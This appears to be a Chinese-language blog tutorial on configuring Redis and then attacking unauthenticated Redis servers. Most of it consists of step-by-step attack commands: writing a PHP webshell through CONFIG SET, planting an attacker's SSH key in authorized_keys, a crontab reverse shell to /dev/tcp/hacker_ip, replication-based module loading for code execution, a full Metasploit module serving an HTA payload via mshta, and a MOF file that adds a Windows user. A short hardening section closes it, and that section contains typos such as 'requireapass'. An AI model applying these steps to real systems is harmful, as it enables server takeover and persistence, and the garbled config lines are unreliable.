redis的配置、启动、连接以及一些命令

配置

rediswindows 下的配置很简单,下载了之后就可以直接用了

启动

cdredis 的目录下,然后执行命令 .\redis-server.exe redis.conf 就可以启动了

连接
  1. telnet ip 6379
  2. .\redis-cli.exe -h ip -p port
一些简单的命令
info	获取连接信息,查看内核操作系统版本
ping(pong)		测试连接
CONFIG SET		设置变量
keys * 			查看所有的键值

redis非授权漏洞利用姿势

写 webshell (win and linux)

利用的是 redis 文件备份的功能,我们写 webshell 时用的命令一般是:

CONFIG SET dir C:\\phpStudy\WWW			// 设置备份文件路径为web目录
CONFIG SET dbfilename shell.php			// 设置备份文件名,即shell文件目录
SET shell "<?php phpinfo(); ?>"			// 向数据库插入shell语句
save								// 保存数据库到备份文件

www目录下即可看到:

linux redis默认不需授权 redis未授权写shell_加载

在这里如果redis数据量太大的话,php文件是无法写入的

写ssh公钥文件 (linux)

通过编写一个ssh 公钥文件,使得我们可以通过 ssh 私钥文件来登陆 redis

一般流程,两台机器,kali(攻击者),ubuntu(受害者)

攻击机:

1. ssh-keygen -t rsa		//生成私钥对
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./id_rsa
./id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:adnhbxGynzrVoP5B0fg669VeuoGPisblnrjmNlk0JEY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|       .E        |
|        o .  o   |
|       . oo + .  |
|         =o+.+   |
|        S.+ooo.  |
|       .  ++.=.. |
|       . * .X o o|
|        Bo++ B +.|
|       ==+=== +..|
+----[SHA256]-----+
2. cat ./id_rsa.pub | sudo redis-cli -h victim_ip -x set ssh  // 将公钥文件保存在redis服务器
OK
3. edis-cli  -h 120.xx.xx.xx		//设置公钥地址文件名
120.xx.xx.xx:6379> keys ssh
1) "ssh"
120.xx.xx.xx:6379> config set dir /home/ubuntu/.ssh
OK
120.xx.xx.xx:6379> config set dbfilename "authorized_keys"
OK
120.xx.xx.xx:6379> save
OK
120.xx.xx.xx:6379> exit

攻击者进行了以上的操作之后,就可以ssh远程登陆受害机,可以看到攻击者就是通过将自己生成的密钥对的公钥保存到对方的机器中,然后用公钥通过ssh连接到受害者的机器,有了凭证,就可以随时连接了。但是这里可能会遇到目标机的.ssh文件夹不能写的权限问题。

contrab定时任务反弹shell (linux)

定时任务的创建在ubuntudebian中需要root权限,另外redis的备份文件通常存在乱码的问题,在ubuntu上会报错

创建定时任务反弹的流程:

> config set dir /var/spool/cron/crontabs
> config set dbfilename root
> set payload "* * * * * bash -i >& /dev/tcp/hacker_ip/port 0>&1"
> save

可以看到上述方法都是利用redis的备份功能实现的,那么其实存在很大的不确定性:

  1. 可能对文件的操作权限不够
  2. 备份产生的无用数据可能产生报错
  3. 如果是docker部署的环境,定时任务和ssh远程连接的手段就不可利用
redis主从复制rce (linux)

首先需要了解以下知识点:

  1. redis主从复制模式
    主从复制模式为了减小单个redis实例的读写压力而诞生的。在主从复制模式下,redis被分为主机和备份机,主机只负责写数据,从机只负责读数据,主机的数据会同步到从机上去。
    在主从复制模式下,主机和备份机之间的的同步有两种方式,全量传输和部分传输。全量传输是指将数据库备份文件整个传输过去,从机清空内存数据库,加载收到的数据库备份文件。部分传输用于网络终端等情况后的复制,只将中断期间主机执行的写命令发送给从节点,比全量复制更加高效。
    后面我们传输.so文件采用的是全量复制,将整个备份文件发送过去,不采用部分复制是因为其只是将写命令传输给从机,采用备份文件比较直接且稳妥。
  2. redis扩展命令
    redis也可以通过加载.so文件来扩展命令。与mysqludf提权类似。首先编译一个.so文件,这个在网上随便搜一下就可以找到了。
    然后在redis中执行命令加载生成的.so文件
MODULE LOAD /xxx/xxx/xxx.so		// 加载我们本地生成的.so文件

通过加载.so文件,我们就可以实现任意文件执行

LCBC的大佬总结的攻击步骤:

linux redis默认不需授权 redis未授权写shell_linux redis默认不需授权_02

首先让目标机成为我们的从机,设置备份的文件名,然后全量传输备份文件,最后再加载备份文件。然后就可以任意执行命令。

slaveof attack_ip可以将attack_ip设为主机

建立连接的过程:


linux redis默认不需授权 redis未授权写shell_redis_03


以上过程不一定要真实的redis来实现,我们可以用脚本来模拟以上过程的实现。

脚本:https://github.com/Ridter/redis-rce

写入启动项(win and linux)

这个一般用于前三种利用不了的情况。

  1. 使用mshta PS_shell.rb脚本内容:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

把脚本放在/usr/share/metasploit-framework/modules/exploits/windows/目录下,然后执行reload_all,最后在msf中执行:

msf > use exploit/windows/PS_shell
msf exploit(windows/PS_shell) > options 

Module options (exploit/windows/PS_shell):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/PS_shell) > set uripath 123
uripath => 123

msf exploit(windows/PS_shell) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.107.10.77:4444 
msf exploit(windows/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123
[*] Local IP: http://10.107.10.77:8080/123
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://10.107.10.77:8080/123"

然后再执行命令:mshta.exe "http://ip/port/uripath" 即可

  1. msf + Cobalt Strike适用于内网,之后再搞吧,贴个链接:https://www.anquanke.com/post/id/170360#h3-3
写入MOF (win)

适用于不能重启机器也无法获取web目录,环境只能为win2003

mof提权的原理:

mofwindows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof),叫做托管对象格式,其作用是每隔五秒就会去监控进程创建和死亡。拥有mysqlroot权限的用户可以执行上传的mof。此后这个mof文件每隔五秒钟就会执行一次,不需要重启就可以获得权限。这个mof可以用来创建用户。

  1. 将以下代码保存为mof文件
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user yyp admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

这里就是通过执行net.exe user yyp admin /add来实现用户添加。首先将文件保存为1.txt,然后执行:

(echo -e "nn"; cat 1.txt; echo -e "nn") > foo.txt

这里上下各加两行是为了避免脏数据。

之后再执行:

cat foo.txt | redis-cli -h victim_ip -x set payload

然后连接受害者redis,执行:

> CONFIG SET dir filepath
> CONFIG SET dbfilename xxx.mof
> save

一切顺利的话,就会成功添加用户了,可以看到这与ssh-keygen的实现还挺像的。

但是这种方法需要对方需要拥有mysql root权限。

修复

  1. 禁止一些高危命令
    redis.conf中:
rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL		""
  1. 禁止外网访问redis
bind 127.0.0.1
  1. redis添加密码验证
    redis.conf文件中添加:
requireapass password
  1. 以低权限运行redis服务
    redis服务创建单独的用户和home目录,并且配置禁止登陆
groupadd -r && useradd -r -g redis redis

等等。。。

连接: https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

https://zhuanlan.zhihu.com/p/75627194

http://www.alloyteam.com/2017/07/12910/

http://blog.orleven.com/2018/04/01/CVE-2017-11882/